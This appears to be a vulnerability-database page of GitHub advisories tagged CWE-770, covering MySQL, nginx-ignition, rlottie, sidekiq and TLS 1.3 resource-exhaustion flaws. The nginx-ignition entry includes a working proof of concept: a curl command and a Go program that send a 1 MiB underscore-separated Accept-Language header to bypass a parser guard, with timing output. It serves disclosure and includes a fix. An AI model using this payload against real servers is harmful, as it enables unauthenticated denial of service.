Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3956 vulnerabilities reference this CWE, most recent first.

GHSA-JQX9-X6X8-85CW

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and  9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-jqx9-x6x8-85cw",
  "modified": "2025-11-03T21:32:20Z",
  "published": "2025-01-21T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21531"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250131-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR34-H97M-9HPX

Vulnerability from github – Published: 2026-09-21 21:49 – Updated: 2026-09-21 21:49
VLAI
Summary
nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware
Details

Summary

The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:

  • the official dillmann/nginx-ignition:latest Docker image at v2.40.0 (E2E below)
  • main at commit faef4c99442b329cfa4ee8879bdba41c22866a18 by reading api/common/server/i18n.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.

Vulnerable code

api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters i18nMiddleware.
  2. ginCtx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. language.ParseAcceptLanguage(langHeader) runs unfiltered.

No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:

docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18090/api/health

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18090/api/health"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.

Target: http://127.0.0.1:18090/api/health   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=404  t=10.336041ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=404  t=4.211583ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=404  t=3.276416ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=404  t=31.683792ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=404  t=2.429408875s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=404  t=3.589948166s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=404  t=2.415860875s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 3 - 11 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 32 ms
1 MiB _ separators (guard bypassed) 1 MiB 2.4 - 3.6 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).

Impact

  • One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
  • The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
  • Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.

Suggested fix

Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
            // Refuse to call into the BCP 47 parser with absurd input.
            langHeader = ""
        }
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lucasdillmann/nginx-ignition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20260126024607-cbaf0fc16ed8"
            },
            {
              "fixed": "0.0.0-20260526022344-0c988fc1277c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-21T21:49:03Z",
    "nvd_published_at": "2026-09-21T15:17:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe gin i18n middleware in nginx-ignition\u0027s API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on:\n\n- the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below)\n- `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.\n\n### Vulnerable code\n\n[`api/common/server/i18n.go`](https://github.com/lucasdillmann/nginx-ignition/blob/faef4c99442b329cfa4ee8879bdba41c22866a18/api/common/server/i18n.go) (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`):\n\n```go\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n    return func(ginCtx *gin.Context) {\n        lang := commands.DefaultLanguage()\n\n        langHeader := ginCtx.GetHeader(\"Accept-Language\")\n        tags, _, err := language.ParseAcceptLanguage(langHeader)\n        if err == nil \u0026\u0026 len(tags) \u003e 0 {\n            for _, tag := range tags {\n                if commands.Supports(tag) {\n                    lang = tag\n                    break\n                }\n            }\n        }\n\n        //nolint:staticcheck\n        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n        ginCtx.Set(i18n.ContextKey, lang)\n        ginCtx.Next()\n    }\n}\n```\n\n`ginCtx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `i18nMiddleware`.\n2. `ginCtx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered.\n\nNo size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container:\n\n```bash\ndocker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18090/api/health\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18090/api/health\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at\napi/common/server/i18n.go.\n\nTarget: http://127.0.0.1:18090/api/health   payload=1048576 B\n\n  warm-up                                      header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=404  t=10.336041ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=404  t=4.211583ms\n  baseline (1 short tag)                       header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=404  t=3.276416ms\n  guard-fires control (\u0027-\u0027 x payload)          header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=404  t=31.683792ms\n  attack (\u0027_\u0027 x payload)                       header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=404  t=2.429408875s\n  attack repeat 2                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=404  t=3.589948166s\n  attack repeat 3                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=404  t=2.415860875s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 3 - 11 ms   |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 2.4 - 3.6 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 32 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.\n- The 4xx/5xx status of the eventual response does not matter \u2014 the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.\n- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project\u0027s README) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter inside the middleware before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// api/common/server/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n    return func(ginCtx *gin.Context) {\n        lang := commands.DefaultLanguage()\n\n        langHeader := ginCtx.GetHeader(\"Accept-Language\")\n        if strings.Count(langHeader, \"-\")+strings.Count(langHeader, \"_\") \u003e maxAcceptLanguageSeparators {\n            // Refuse to call into the BCP 47 parser with absurd input.\n            langHeader = \"\"\n        }\n        tags, _, err := language.ParseAcceptLanguage(langHeader)\n        if err == nil \u0026\u0026 len(tags) \u003e 0 {\n            for _, tag := range tags {\n                if commands.Supports(tag) {\n                    lang = tag\n                    break\n                }\n            }\n        }\n\n        //nolint:staticcheck\n        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n        ginCtx.Set(i18n.ContextKey, lang)\n        ginCtx.Next()\n    }\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-jr34-h97m-9hpx",
  "modified": "2026-09-21T21:49:03Z",
  "published": "2026-09-21T21:49:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-jr34-h97m-9hpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61629"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/pull/125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/commit/0c988fc1277c7d291725e8373313f8486fa1b31a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/commit/cbaf0fc16ed873f7178a2ca9b0d00a696e44b485"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lucasdillmann/nginx-ignition"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.40.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nginx ignition has  ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware"
}

GHSA-JR7J-7RP3-4C26

Vulnerability from github – Published: 2026-08-11 09:32 – Updated: 2026-08-11 09:32
VLAI
Details

Improper Validation of Specified Quantity in Input and Allocation of Resources Without Limits or Throttling vulnerability in Samsung Open Source rlottie allows Excessive Allocation.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-19517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T07:17:29Z",
    "severity": "MODERATE"
  },
  "details": "Improper Validation of Specified Quantity in Input and Allocation of Resources Without Limits or Throttling vulnerability in Samsung Open Source rlottie allows Excessive Allocation.",
  "id": "GHSA-jr7j-7rp3-4c26",
  "modified": "2026-08-11T09:32:33Z",
  "published": "2026-08-11T09:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/rlottie/pull/596"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRFJ-98QG-QJGV

Vulnerability from github – Published: 2022-01-27 14:42 – Updated: 2023-01-24 15:46
VLAI
Summary
Denial of service in sidekiq
Details

In api.rb in Sidekiq before 6.4.0 and 5.2.10, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "sidekiq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "sidekiq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-24T22:50:23Z",
    "nvd_published_at": "2022-01-21T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In `api.rb` in Sidekiq before 6.4.0 and 5.2.10, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users.",
  "id": "GHSA-jrfj-98qg-qjgv",
  "modified": "2023-01-24T15:46:01Z",
  "published": "2022-01-27T14:42:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/pull/495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mperham/sidekiq/commit/7785ac1399f1b28992adb56055f6acd88fd1d956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TUTUMSPACE/exploits/blob/main/sidekiq.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mperham/sidekiq"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in sidekiq"
}

GHSA-JRG3-GFJW-HM96

Vulnerability from github – Published: 2026-04-08 03:32 – Updated: 2026-09-17 12:31
VLAI
Details

If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-32283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-764",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T02:16:03Z",
    "severity": "HIGH"
  },
  "details": "If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.",
  "id": "GHSA-jrg3-gfjw-hm96",
  "modified": "2026-09-17T12:31:52Z",
  "published": "2026-04-08T03:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32283"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34192"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34196"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34197"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34365"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36796"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39810"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41019"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41928"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:42644"
    },
    {
      "type": "WEB",
